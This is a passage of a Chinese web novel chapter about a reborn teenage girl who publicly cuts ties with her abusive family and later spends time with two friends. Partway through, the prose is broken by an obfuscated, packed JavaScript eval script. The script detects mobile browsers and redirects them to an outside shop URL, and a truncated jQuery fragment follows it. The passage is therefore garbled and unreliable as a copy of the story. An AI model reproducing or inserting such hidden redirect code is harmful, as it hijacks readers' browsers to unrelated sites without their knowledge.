华家再次在秀水村掀起一阵波澜。
当日在现场的大多觉得华家两口子做的有点过了,平日里瞧着斯斯文文的,私底下打孩子打得也太狠了。
何况华家小五,平日里瞧着多乖一孩子啊,下地干活,在家帮忙,学习又好,人又懂事。
当然,还有那么一小撮当日在现场的,觉得谁家不打孩子啊?不过是手重一点,这孩子也太记仇了,居然要断绝亲缘关系!
冯月梅当日就看了全程,可能她本来就带滤镜,她觉得咏章早就该和那个家断绝关系!
华叔叔和郑婶婶是很好的邻居,但绝不是合格的父母。
以前她劝过,但咏章看起来都像没往心里去,如今看来她也许早就想过很多次吧。
郑雯听到小女儿说出断绝关系的话,当即坐在地上蹬脚哭喊:“早知道你这样,当初你出生我就该把你按水盆里闷死!”
华长清去拉她起来:“孩他妈,别说气话!”
一开始儿子说小女儿可能身上有什么不干净的东西,让他找人回来收拾,他其实是不情愿的。
这么久了,如果岳父心里有怨,早就收拾他了。
但他的生活还是好好的。
甚至大女儿读书好,二女儿嫁的好,小女儿……也行吧,反正都不用他太操心。
但架不住妻子的催促,毕竟儿子哭得太惨了,他一桩一件的跟他们诉说着小女儿的异状,说得华长清当天夜里都做了个噩梦。
梦里小女儿掐着尖细的调子跟老岳父告他的状,说他不仅不孝顺岳母,不体贴妻子,还不关心孩子……
他满头大汗的爬起来,立刻去找了办事的,怕一个不保险,他还多找了几个……
对外就说给儿子收拾收拾。
闹得满场风雨,华长清都还觉得自己不在事内,他至此依然默认这是母女俩的战场。
毕竟从郑雯质问丢得钱去哪儿了开始,打孩子的鞭子棍子,都不是他举的,看郑雯打得太重了,他还上去拦:“你把钱拿去哪里了?交出来可以少挨打!”
因为他心里清楚,丢得那几百块钱里,有一半是他拿的,借给他妹了。
前阵子华长芳过来,说自己身体不舒服,她面色也确实很差,不像骗人的。
当时妻子在田里侍弄庄稼,他东翻西找,愣是找不到,华长芳见他脸色为难,立马就红了眼眶:“哥,我就知道,你结了婚了,我这个做妹妹的千不该万不该来打扰你,没事,小时候爸妈走的时候我没饿死,就算多活这些年了……”
华长清最不爱听这些,但是照顾妹妹的执念,是父母临终前交托到他手上的。
两人说话间,华长芳蹲下身,随手一拖抽屉,然后把抽屉芯整个抽出来了。
然后她伸手往里一掏:“哥!你看!爸妈在天上也想我好好活下去!”
那肯定是郑雯藏的钱,她用一块旧手绢裹着卷成一团的纸币,外面还用棉线缠了几道,塞在抽屉最里面的横梁上。
华长清脸色有几分为难。
华长芳眼珠子一转,有些肉疼的把钱分成两半:“哥,你别为难了,我就拿一半,很快等运来赚钱了我就来还你,到时候嫂子都不知道少了钱呢!”
华长清叹了口气:“你以身体为重,还钱的事不用急,我来想办法。”
剩下的一百多随后就不翼而飞了!
华长清本来就觉得难顶,现在更是塌天大锅,如今既然有人出来顶罪……
他还假惺惺的劝郑雯别生气,女儿哭着辩解自己没拿,说如果是她拿的,就叫她不得好死。
赌咒发誓到这个份上,郑雯却还是没停手:“不是你是谁?不是你是谁?你是不是记恨我给你生活费给的少了?……”
华长清扭开脸,暗自发誓以后会补偿小女儿。
只是这样一件小事而已,怎么就闹到要死要活的地步了?
华长清摆起往日的严父脸色:“小五,过来跟你妈道个歉,这事是她误会你了,但‘子不言父过’,你怎么揪着不放呢?”
华咏章被冯月梅和凌佳一左一右的搀扶着,往他面前站定。
“爸,我没有说和妈断绝关系。”她扬起唯一没有外伤的脸:“我是说,和这个家,断绝关系。”
“你……你这孽障!”华长清看看四面看热闹的邻居:“养你十几年,打一顿就要断绝关系,这种女儿我也不稀罕!”
“今天的伤,其实就是看起来吓人罢了。”华咏章和父亲对视,轻轻补刀:“这十四年,我在没人的地方被打过无数次,这个家从来没给过我最基本的庇佑。”
华长清愣住,徒劳的辩解道:“子不教,父之过,孩子不打不成才……”
“你知道,我说的不是你,是他。”华咏章对着远处躲躲闪闪的华元璋道:“你的宝贝儿子,别说你们不知道,你们都知道!”
吼出这句话,她终于觉得有些畅快:“你们养我十四年,也不能让你们亏,你们可以好好算一算,这些年花了多少钱,你们算出来,我买断。”
小时候她无数次向大人展示伤口,祈求庇护,但没得到,不知道什么时候起,她遮掩伤口,独自舔砥,独自自愈。
她其实早就不需要了。
她现在根本不需要再做小伏低,装乖卖巧,虚与委蛇!
与其让这如鲠在喉的感觉一直消磨,不如主动退出这无聊的棋局。
这场亲情的局,她前世步步退让,摇尾乞怜,重来以后,就算有前世之鉴,依然心存侥幸,是她自作自受。
围观的邻居们,一开始多为她叫屈,后面看她说了这话,立刻态度转变,七嘴八舌的劝她冷静。
有人好心,担心她小小年纪,又在气头上逞一时口舌之快,落得个年幼无依。有人恶意,怕她动了这个开头,成为自家孩子反骨的标榜。
场面一时陷入僵局,冯大哥主动上前:“叔,小五妹妹我们先带走了,以后的事等她好点了再说。”
郑雯看着小女儿看都不看她一眼,就像她们不是血亲母女,她从前不在乎,孩子多,吵起来吵的她都想丢出去。
其实也就老二爱和几个争东西,磨牙打架,那家都有,但她天天操持这个家心里烦,总是忍不住捞起孩子就打。
大女儿养的最仔细,是她新手妈妈上任的第一个宝宝,二女儿力气大能干活,儿子是她唯一的指望。
小女儿不一样。
她生来就不详!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234398|131610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的出生伴随着难产,伴随着父亲的死亡,要不是养父去得早,她的丈夫一定还能维持几年好面孔。
但是等到这个孩子字字句句啼血控诉时,她只想跳起来打她的嘴。
闭嘴!闭嘴!
我是你妈,我生你养你!别说打你,我就算把你打死,你也该受着!
郑雯这样想,也这样喊。
她以为小女儿会冲过来哭吼着跟她争辩。但她没有,她只是停下脚步,连一个回头都欠奉。
“机会我早给你了,在你冤枉我,污蔑我,把我绑起来打的时候,我说你打死我,我们就两清了,现在迟了,我的命以后就是我自己的了。”
身后传来惊呼,人群里有人上去接住气晕过去的郑雯,华咏章则一步也没回头,坚定的向外走去。
-
“你能不能别盯着我看一会儿就哭啊?”华咏章无奈的推了推凌佳的脑袋。
“他们为什么要这么对你!呜呜呜……”
凌佳抹了抹眼泪:“你还笑!你真讨厌!”
冯月梅端了一盘香菇肉饺过来:“我说大小姐,你到底知不知道这样别人会很尴尬啊?都一个星期了好吧!所以你其实是来骗吃的是吧?”
凌佳吃了一口饺子,依然吚吚呜呜的哭:“你们俩还是人吗?为什么我一想起来就想哭……给我递一下醋!”
冯月梅没好气的把醋递过去。
凌佳吃着吃着,托着脸再次许愿:“能不能包芹菜馅的,我觉得这次蘑菇馅的不太好吃……”
冯月梅跳脚:“别做梦了,快下雪了,芹菜都要冻死了,想吃等开春吧。”
凌佳自从上次之后,就自动把自己归为跟她们一伙的,她从小到大都因为满脑子学习和说话直而没什么朋友。虽然认识以来,她虽然每说一句,冯月梅几乎都会怼她,但是好歹冯月梅是个讲武德的,说急眼了也不会薅人头发。
她回家之后本来不想说的,但是实在没能逃出她妈的五指山,最后还是一五一十的交代了全程。
凌妈妈闻言摸了摸她的头发,心有余悸:“你以后啊,长长脑子,去人家当着人面骂,人家没打你你又忘了疼了是不是?”
凌妈妈答应了女儿一些事,又嘱咐她平时跟人家玩,多付钱,少说话。
凌佳转头就忘了,主要是华咏章对她的忍耐度很高,要是哪天她黑着脸,凌佳其实也看得懂三分脸色的。
处的久了嘛,她还是有点小经验的,比如现在她和冯月梅正互怼呢,华咏章那边就像忽然入定了一样。
如果不出意外,她很快就会掏出一个巴掌大的小本子写写画画,仿佛身外无物。
自从凌佳上次去她出租屋帮她收拾屋子,发现她散落在桌角的一堆画稿以后,凌佳就单方面认定她是个神奇物种了。
如果现在还要写日记,凌佳大概会写:我有一个神奇的朋友……
以至于凌佳觉得非常空虚,就像鲁滨孙一个人在孤岛吃了惊天大瓜,她又默认冯月梅早就知道,于是她就无人可倾诉了。
有一点凌佳其实感觉还挺准的,比如当她和冯月梅讨论冬天吃不到芹菜时,满脑子赚钱的华咏章忽然想到了温室种植。